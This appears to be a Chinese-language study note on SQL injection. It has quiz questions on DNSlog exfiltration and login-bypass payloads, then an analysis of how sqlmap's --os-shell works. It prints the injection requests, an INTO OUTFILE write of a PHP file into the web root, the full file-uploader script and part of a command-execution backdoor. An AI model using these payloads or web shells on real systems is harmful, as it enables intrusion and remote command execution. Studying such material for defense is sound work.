Abstract: SQL注入测试

Table of Contents

  1. Q&A
  1. Mysql 数据库进行 DNSlog 外带数据时,以下错误的是
  • 不可以在 Linux 系统中外带数据
  • 可以在 windows 系统中外带数据
  • 需要 Mysql 设置 secure_file_priv=’’
  • 需要 Mysql 设置 secure_file_priv=NULL
  1. SQL 语句
1
SELECT * FROM user WHERE name=".$name." and pass=".$pass."

如何登录

  • $name设置值为admin’and’1’=’1’,$pass的值为123456
  • $name设置值为admin’and’1’=’1,$pass的值为123456
  • $name设置值为admin’or’1’=’1,$pass的值为123456
  • $name设置值为admin’or’1’=’1’,$pass的值为123456
  1. 在 php + mysql 网站中,sqlmap 的 –os-shell 功能原理?

简答:通过 mysql 的 into outfile 或者 into dumpfile 功能,向网站目录中写入 php 代码,用来执行系统命令。

详细原理描述:

  1. 简单流程

由图片,可以看到如下几步:

  1. 流量分析:

主要 http 流量有 4 条,

1
2
3
4
5
6
7
8
id=1' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x717a767671,(SELECT REPEAT(0x34,1024)),0x7170716271,0x78))s), 8446744073709551610, 8446744073709551610)))-- MBKa&Submit=Submit

# 根据 @@version_compile_os 首字母判断操作系统
id=1' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x717a767671,(SELECT (CASE WHEN (0x57=UPPER(MID(@@version_compile_os,1,1))) THEN 1 ELSE 0 END)),0x7170716271,0x78))s), 8446744073709551610, 8446744073709551610)))-- EJbF&Submit=Submit

id=1' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x717a767671,(SELECT REPEAT(0x31,451)),0x7170716271,0x78))s), 8446744073709551610, 8446744073709551610)))-- LNMk&Submit=Submit
# 开始写入文件
id=1' LIMIT 0,1 INTO OUTFILE '/var/www/html/hackable/uploads/2.php' LINES TERMINATED BY 0x3c3f7068702-- -&Submit=Submit

判断操作系统后,开始写入文件,sqlmap 按路径尝试去访问文件 tmpujqbu.php,通过 POST 上传后门文件 tmpbzhga.php

  1. 文件内容解析

tmpujqbu.php 中的内容就是一个简单的文件上传,并且目标文件的权限设置为 0755,注意这个文件生成利用的 LINES TERMINATED BY ,所以前面会带上 SQL 执行的结果。这里就是 admin admin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// tmpujqbu.php
admin admin
<?php
if (isset($_REQUEST["upload"])) {
$dir = $_REQUEST["uploadDir"];
if (phpversion() < '4.1.0') {
$file = $HTTP_POST_FILES["file"]["name"];
@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"], $dir . "/" . $file) or die();
} else {
$file = $_FILES["file"]["name"];
@move_uploaded_file($_FILES["file"]["tmp_name"], $dir . "/" . $file) or die();
}
@chmod($dir . "/" . $file, 0755);
echo "File uploaded";
} else {
echo "<form action=" . $_SERVER["PHP_SELF"] . " method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/var/www/html/hackable/uploads/> <input type=submit name=upload value=upload></form>";
} ?>

tmpbzhga.php 可以看到就是一个标准用于执行系统命令的后门脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

} elseif (f('shell_exec')) {
$w = shell_exec($c);
} elseif (f('passthru')) {
ob_start();
passthru($c);
$w = ob_get_contents();
ob_end_clean();
} elseif (f('popen')) {
$x = popen($c, r);
$w = NULL;
if (is_resource($x)) {
while (!feof($x)) {
$w.= fread($x, 512);
}
}
@pclose($x);
} elseif (f('exec')) {
$w = array();
exec($c, $w);
$w = join(chr(10) , $w) . chr(10);
} else {
$w = 0;
}
print "<pre>" . $w . "</pre>"; ?>

访问并执行 ls 命令。

Q&A

  1. 原理简述

    通过 MySQL 的 into outfile 和 into dumpfile 向网站目录下写入 php 代码,用来执行系统命令。

  2. 使用 --os-shell 需要条件

    • FILE 权限
    • 可写的绝对路径
    • PHP GPC OFF
  3. --os-shell 退出后发生什么

    会调用后门脚本删除上传文件后,进行自删除。